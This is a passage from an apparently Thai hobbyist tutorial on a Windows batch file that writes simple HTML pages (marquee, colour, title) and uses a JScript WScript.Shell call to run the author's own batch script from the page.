echo 4.Testing HTML Call Module Batch File
set /p m=Type Menu Number=
if %m%==1 call :Marquee
if %m%==2 call :SetColor
if %m%==3 call :SetTitle
if %m%==4 call :CallModule
goto :Main

:Marquee
(
  echo ^<marquee^>
  echo นี้คือตัววิ่งสร้างโดย Batch File [Coding By] : ธนัตถ์เดชน์  บุญลือลักษณ์
  echo ^</marquee^>
)>>Test.htm
start Test.htm
goto :Eof

:SetColor
(
  echo ^<body bgcolor="#ff99cc"^>
  echo ^</body^>
)>>Test.htm
start Test.htm
goto :Eof

:SetTitle
(
  echo ^<head^>
  echo ^<title^>ทดสอบการใส่คำสั่งผ่าน Batch File โดย ธนัตถ์เดชน์  บุญลือลักษณ์^</title^>
  echo ^</head^>
)>Test.htm
start Test.htm
goto :Eof

:CallModule
( echo ^<head^>
  echo ^<title^>ทดสอบการส่งผ่านข้อมูลกลับมายัง Batch File ที่เรียกใช้งาน^</title^>
  echo ^</head^>
)>Test.htm
( echo ^<script language="JAVAScript"^>
  echo var jsob = new ActiveXObject^("Wscript.Shell"^);
  echo jsob.run^("CatEye.bat /a"^);
  echo ^</script^>
  echo 1.สามารถสร้างหน้าเว็บด้วย Batch File^<br^>
  echo 2.ส่งข้อมูลกลับมายัง Batch File ที่สร้างหน้าเว็บได้^<br^>
  echo 3.ความซับซ้อนอยู่ที่การส่งผ่านค่าทาง Parameter ของ Batch File นั้น^<br^>
)>>Test.htm
start Test.htm
goto :Eof

:TestPara
msg %username% การทดสอบพารามิเตอร์ทำงานได้
goto :Eof




ตัวอย่าง หน้าเว็บ

ประโยชน์ที่จะได้รับคืออะไร?
คำตอบคือ Batch File สามารถส่งภาษาไทยขึ้นไปโต้ตอบกับผู้ใช้ผ่านเว็บอีกที และยังสามารถรับค่าและคีย์ค่าผ่านเว็บได้ เช่น หน้าจอ Log In หรือ กล่องข้อความ Yes No เพื่อตัดสินใจทำหรือไม่ทำใน Batch File โดยที่ไม่จำเป็นต้องเขียน Application รองรับ อาศัยแค่หลักการง่ายๆ ของ Plaintext ที่ใช้งานแค่เพียงตัวอักษรภาษาไทยและอังกฤษเขียนขึ้นมาเป็นโปรแกรมใช้งานทั่วๆ ไปได้
               แต่หากวิธีที่กล่าวมาตอนนี้...ยังไม่ถูกใจ...คราวหน้าเรามาลง Font ภาษาไทยใน Cmd.exe กันว่ามันใช้งานภาษาไทยบน Console ได้ดีมากแค่ไหน...และอะไรคือปัญหาเมื่อต้องนำ Batch File ไปรันเครื่องอื่นๆ ที่ไม่มี Font ภาษาไทย